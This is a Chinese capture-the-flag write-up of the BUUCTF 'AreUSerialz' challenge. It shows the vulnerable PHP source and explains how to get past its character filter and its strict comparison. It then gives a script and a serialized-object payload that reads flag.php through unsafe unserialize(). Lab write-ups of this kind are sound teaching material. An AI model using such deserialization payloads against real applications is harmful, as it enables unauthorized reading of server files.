buuctf-[网鼎杯 青龙组]AreUSerialz
- ctf
- 2023-08-04
- 1744热度
- 0评论
先看
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
开始对我们有提示flag.php,那就是到这里拿flag,看read()函数可以拿文件内容,再看到当op=2的时候可以运行函数read(),再通过output()函数显示出来。
1.先看is_valid()
要求我们传入的str的每个字母的ascii值在32和125之间。这里注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求,这里绕过方法就是直接改成public
2.destruct()魔术方法会在传参是2的字符的时候,对传入的参数进行赋值,这里的比较是===强比较,而在process()函数是弱比较
绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.
进行序列化
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "2"; //因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
得到payloag:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}
传参得flag

